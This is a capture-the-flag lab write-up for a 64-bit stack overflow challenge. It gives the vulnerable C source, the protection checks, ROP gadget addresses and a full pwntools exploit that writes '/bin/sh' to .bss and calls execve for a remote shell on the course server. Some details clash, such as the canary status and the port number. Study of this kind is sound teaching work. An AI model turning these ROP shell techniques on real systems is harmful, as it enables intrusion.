# Simple PWN - 0x12(Lab - `rop++`)
###### tags: `CTF` `PWN` `eductf`
challenge: `nc edu-ctf.zoolab.org 10004`
## Original Code
```cpp!=
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
char buf[0x10];
const char *msg = "show me rop\n> ";
write(1, msg, strlen(msg));
read(0, buf, 0x200);
return 0;
}
```
```makefile!
gcc -fno-stack-protector -static -o chal rop++.c
```
## Analyze
* Obviously buffer overflow!!!
* Check protector
```bash!
$ checksec chal
[*] '/home/sbk6401/NTUCS/PWN/Lab/rop++/share/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
* Preliminary idea is using `ROP` chain and get shell, but the problem is where can I write `/bin/sh\x00`? We can use `vmmap` to observe where section is writable and readable → `0x4c5000~0x4c800`

```bash!
$ readelf -S chal
...
[25] .bss NOBITS 00000000004c72a0 000c6290
0000000000005980 0000000000000000 WA 0 0 32
...
```
We can use <font color="FF0000">`.bss` section(`0x4c72a0`)</font> to write parameter `/bin/sh\x00`
* <font color="FF0000">Note that</font>, because `ASLR` is enabled, so we cannot write `/bin/sh\x00` to stack, in addition, `PIE` is unable, so that we can write and read data from `.bss` section with fixed address
## Exploit - `ROP`
1. Write `ROP` chain in `buf` parameter
```bash!
$ ROPgadget --binary chal --only "pop|leave|ret|syscall" --multibr > rop_gadget
$ vim rop_gadget
```
```python!
pop_rax_ret = 0x447b27
pop_rdi_ret = 0x401e3f
pop_rsi_ret = 0x409e6e
pop_rdx_rbx_ret = 0x47ed0b
syscall_ret = 0x414506
leave_ret = 0x401797
```
2. Construct `ROP` chain
In order to achieve our idea, we need another read to write `/bin/sh\x00` to `.bss` section
```python!
ROP_read = flat(
# call read function
pop_rax_ret, 0,
pop_rdi_ret, 0,
pop_rsi_ret, 0x4c72a0,
pop_rdx_rbx_ret, 0x100, 0,
syscall_ret,
)
```
Then we need another `ROP` chain to call `shell`
```python!
ROP_shell = flat(
# Get shell
pop_rax_ret, 0x3b,
pop_rdi_ret, 0x4c72a0,
pop_rsi_ret, 0,
pop_rdx_rbx_ret, 0, 0,
syscall_ret,
)
```
* Note that `0x4c72a0` is the beginning of `.bss` section
3. Send payload
```python!
binsh = 0x68732f6e69622f #'/bin/sh\x00'
r.sendafter("show me rop\n>", b'a'*0x28 + ROP_read + ROP_shell)
r.send(flat(binsh))
```
4. Then we get shell and read flag

* Whole exploit
:::spoiler code
```python!
from pwn import *
#r = process('./chal')
r = remote('edu-ctf.zoolab.org', 10003)
raw_input()
context.arch = 'amd64'
pop_rax_ret = 0x447b27
pop_rdi_ret = 0x401e3f
pop_rsi_ret = 0x409e6e
pop_rdx_rbx_ret = 0x47ed0b
syscall_ret = 0x414506
leave_ret = 0x401797
binsh = 0x68732f6e69622f #'/bin/sh\x00'
ROP_read = flat(
# call read function
pop_rax_ret, 0,
pop_rdi_ret, 0,
pop_rsi_ret, 0x4c72a0,
pop_rdx_rbx_ret, 0x100, 0,
syscall_ret,
)
ROP_shell = flat(
# Get shell
pop_rax_ret, 0x3b,
pop_rdi_ret, 0x4c72a0,
pop_rsi_ret, 0,
pop_rdx_rbx_ret, 0, 0,
syscall_ret,
)
r.sendafter("show me rop\n>", b'a'*0x28 + ROP_read + ROP_shell)
r.send(flat(binsh))
r.interactive()
```
:::
## Appendix
This payload will call `sys_read` and read something that we send, that is `0x68732f6e69622f`(`/bin/sh\x00`), and then it'll call `sys_execve`.